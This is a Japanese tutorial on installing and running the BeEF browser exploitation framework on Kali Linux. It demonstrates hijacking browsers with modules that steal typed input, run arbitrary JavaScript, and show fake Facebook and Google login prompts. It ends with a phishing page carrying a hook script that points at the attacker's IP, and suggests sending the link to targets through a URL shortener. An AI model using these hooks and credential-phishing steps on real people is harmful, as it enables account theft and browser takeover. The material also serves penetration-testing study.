免責事項
必ず許可された環境でのみ実行して下さい。
環境
- Kali Linux 2023
- beef 0.5.4.0
BeEFとは
BeEFとはBrowser Exploitation Framework
の略称です。
このツールはブラウザに焦点を当てたツールになっています。
ブラウザからGUI操作でエクスプロイトを実行することが可能です。
ツールは主にRuby
とJavaScript
で書かれています。
公式サイト
公式GitHubリポジトリ
BeEFインストール
Kali Linuxのリポジトリからダウンロードしました。
$ sudo apt install beef-xss
スクリプトファイルは/usr/bin/beef-xss
にあります。
$ which beef-xss
/usr/bin/beef-xss
BeEFの設定ファイルパスは/etc/beef-xss/config.yaml
です。
(省略)
## Define config_file
config_file='/etc/beef-xss/config.yaml'
(省略)
$ ls -l /etc/beef-xss/config.yaml
-rw------- 1 beef-xss beef-xss 1652 5月 13 22:06 /etc/beef-xss/config.yaml
BeEFの起動
beef-xss
で起動すると新しいユーザーのパスワードを設定するように求められるので入力します。
再度BeEFを起動する場合は、新しいユーザーなど作らずに起動します。
$ sudo beef-xss
[sudo] kali のパスワード:
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - beef-xss
Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (running) since Sat 2024-05-11 08:41:31 JST; 5s ago
Main PID: 1938 (ruby)
Tasks: 3 (limit: 2286)
Memory: 108.8M (peak: 109.0M)
CPU: 1.430s
CGroup: /system.slice/beef-xss.service
└─1938 ruby /usr/share/beef-xss/beef
パスワードを忘れてしまった場合は、/etc/beef-xss/config.yaml
から確認できます。
(省略)
credentials:
user: beef
passwd: password
(省略)
$ sudo beef-xss
[sudo] kali のパスワード:
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:
その後 自動で起動します。
Active: active (running)
の表示が出力されたら正常に起動できています。
(省略)
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - beef-xss
Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (running) since Thu 2024-05-09 17:10:15 JST; 5s ago
Main PID: 2479 (ruby)
Tasks: 3 (limit: 2286)
Memory: 102.6M (peak: 103.0M)
CPU: 1.804s
CGroup: /system.slice/beef-xss.service
└─2479 ruby /usr/share/beef-xss/beef
5月 09 17:10:20 kali beef[2479]: == 24 CreateAutoloader: migrated (0.0008s) ==============…======
5月 09 17:10:20 kali beef[2479]: == 25 CreateXssraysScan: migrating ======================…======
5月 09 17:10:20 kali beef[2479]: -- create_table(:xssraysscans)
5月 09 17:10:20 kali beef[2479]: -> 0.0008s
5月 09 17:10:20 kali beef[2479]: == 25 CreateXssraysScan: migrated (0.0008s) =============…======
5月 09 17:10:20 kali beef[2479]: [17:10:18][*] BeEF is loading. Wait a few seconds...
5月 09 17:10:20 kali beef[2479]: [17:10:20][!] [AdminUI] Error: Could not minify 'BeEF::Ex…armony
5月 09 17:10:20 kali beef[2479]: [17:10:20] |_ [AdminUI] Ensure nodejs is installed an…ATH` !
5月 09 17:10:20 kali beef[2479]: [17:10:20][!] [AdminUI] Error: Could not minify 'BeEF::Ex…armony
5月 09 17:10:20 kali beef[2479]: [17:10:20] |_ [AdminUI] Ensure nodejs is installed an…ATH` !
Hint: Some lines were ellipsized, use -l to show in full.
[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...
起動後、ログインページが立ち上がりました。
Let's ブラウザハッキング!
BeEFにログイン
Username
はbeef
、Password
はツール起動時に設定したものを入力してログインします。
ホームページの画面構成
ホームページ
Hooked Browsers
にフックされたブラウザが追加で表示されていきます。
ブラウザを開いている時はOnline Browsers
に、閉じている時はOffline Browsers
にカテゴライズされます。
マウスカーソルをかざすと、フックしたホストの情報が簡易表示されます。
デモページ
Getting Started
タブの概要文から2つのデモページに飛べます。
デモページ
とアドバンスバージョンのデモページ
があります。
デモページ
アドバンスバージョン
Logs
Logs
タブではBeEF
のログインログや機能の使用ログ、フックしたブラウザの操作ログなどが表示されます。
Zombies
乗っ取ったブラウザを一覧表示します。
Details
Hooked Browsers
タブから対象のブラウザをクリックすると、Current Browser
タブが開きます。
Details
タブではホスト、ハードウェア、ブラウザ、ネットワークなどの情報を確認できます。
Commands
Commands
タブでは、フックしたブラウザにエクスプロイト
やフィッシング
を仕掛けられます。
モジュールの色分けについて
- 緑
- コマンド モジュールはターゲットに対して機能するため、ユーザーには見えないようにする必要があります。
- オレンジ
- コマンド モジュールはターゲットに対して機能しますが、ユーザーには表示される可能性があります
- 灰色
- コマンド モジュールはこのターゲットに対してまだ検証されていません
- 赤
- コマンド モジュールはこのターゲットに対して機能しません
また、モジュールの実行結果はModule Results History
から確認することができます。
いくつか実装されているモジュールを試してみたので紹介します。
モジュールの実行
モジュールはBrowser
,Exploits
,Social Engineering
などにカテゴライズされていて、その中から選んで攻撃を実行できます。
Browser
Create Alert Dialog
このモジュールでは対象のブラウザにアラートを表示させることができます。
- ソースコード
モジュール検索フォームでalert
と入力して検索します。
ヒットしたCreate Alert Dialog
を選択します。
一番右のAlert text
項目にはアラートで表示する文字列を入力します。
実行するには右下のExecute
ボタンをクリックします。
一方、ブラウザ側では指定した文字列のアラートが出現しました。
Create Prompt Dialog
このモジュールではプロンプトダイアログをフックされたブラウザに表示でき、入力内容を盗み取ることができます。
- ソースコード
Prompt
などで検索するとCreate Prompt Dialog
モジュールがヒットするので選択します。
Prompt text
にはブラウザに表示したい文字列を入力します。
右下のExecute
ボタンをクリックして実行します。
ダイアログが表示されました。
試しに何か入力してOK
を押してみます。
するとBeEF側で入力された文字列を取得できました。
Redirect
このモジュールではターゲットのWebページを任意のURLへ遷移させることができます。
- ソースコード
Redirect
と検索してRedirect Browser
を選択します。
今回は対象のブラウザをYoutubeに遷移させます。
Redirect URL
にYoutubeのURLを入力して右下のExecute
を実行します。
任意のページへ遷移させることができました。
Redirect Browser (Rick Roll)
このモジュールでは対象のブラウザにRick Roll
という海外のミーム動画を表示させることができます。
- ソースコード
仕組みはjsで対象の動画を100% x 100%サイズの<iframe>
でブラウザに表示させています。
//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
$j('body').html('');
$j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
$j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
$j('body').html('<iframe width="100%" height="100%" src="//www.youtube.com/embed/DLzxrzFCyOs?autoplay=1" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Successful");
});
redirect
などで検索をかけて、Redirect Browser (Rickroll)
を選択します。
そして右下のExecute
ボタンをクリックして実行します。
残念ながら、動画の再生はできませんでした。
本来はこの動画がブラウザに表示されます。
再生できない原因として、投稿者による埋め込みオプションが無効化されている可能性があります。
Host
Get Geolocation (Third-Party)
このモジュールでは、サードパーティーのAPIを利用して対象マシンの地理情報を取得できます。
- ソースコード
利用するAPIは数種類ありますが、使用したいものが今も提供しているか実際にアクセスして確認する必要もあります。
右下のExecute
をクリックして実行すると、地理情報を取得できました。
Misc
Raw JavaScript
このモジュールでは、対象のブラウザで任意のJavaScriptコードを実行できるようになります。
- ソースコード
Raw JavaScript
を検索し選択します。
Javascript Code
項目に実行したいコードを書き込みます。
今回はブラウザにアラートを表示するコードを書きました。
右下のExecute
ボタンをクリックして実行します。
アラートが表示されました。
Social Engineering
Pretty Theft
このモジュールでは、有名なアプリケーションに偽造したポップアップを表示して、認証情報を取得することができます。
- ソースコード
Pretty Theft
と検索し、クリックして選択します。
Dialog Type
ではどのアプリケーションのポップアップを表示するか選択できます。
今回はFacebook
を選択しました。
右下のExecute
をクリックして実行すると、ブラウザにはFacebookのセッションタイムアウトしたポップアップが表示され、メールとパスワードの入力を求められました。
このポップアップに入力された情報はコントロールパネルから確認できます。
Google Phishing
このモジュールではGoogleの偽ログイン画面を表示し、認証情報を取得します。
右下のExecute
クリックして実行すると、デモページにGoogleのログイン画面が表示されます。
ソースコードとアドレスバーを確認すると分かりますが、実際に遷移しているのではなくiframe
タグを使用し表示しています。
ログイン情報を入力し、Sign in
をクリックするとGoogleの正規ログインページにリダイレクトしました。
入力された情報はコントロールパネルから確認することができます。
今回紹介したモジュールはほんの一部なので自身の環境で色々試してみてください。
モジュールは自作することもできます。
気になる方はこちらから確認してください。
フィッシングサイトでBeEFを利用する
フィッシング用の適当なhtmlページを作成します。
<!DOCTYPE html>
<html>
<body>
<h1>This is Phishing Page</h1>
</body>
</html>
フィッシングサイトの作成にはSocial-Engineer Toolkit (SET)
などのツールを使う方法も有効的です。
下記コードをHTMLの中に追加します。
<script src="http://<IP>:3000/hook.js"></script>
http://<IP>:3000/hook.js
のIP
にはBeEFを実行しているマシンのIPアドレスを入力してください。
- 追加後
<!DOCTYPE html>
<html>
<body>
<h1>This is Phishing Page</h1>
<script src="http://192.168.178.8:3000/hook.js"></script>
</body>
</html>
Kali側でWebサーバーを起動し、作成したフィッシングページへアクセスできるようにします。
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
ターゲットにURLのリンクを送る際は、https://shorturl.at/dDKQR
など短縮URLサービスを使っても良いと思います。
ターゲットがBeEF
のスクリプトタグを埋め込まれたページを開くとHooked Browsers
欄に追加されました。
- ターゲットマシン
- BeEFのコントロールパネル
このようにフィッシングサイト経由でBeEFを使用することもできます。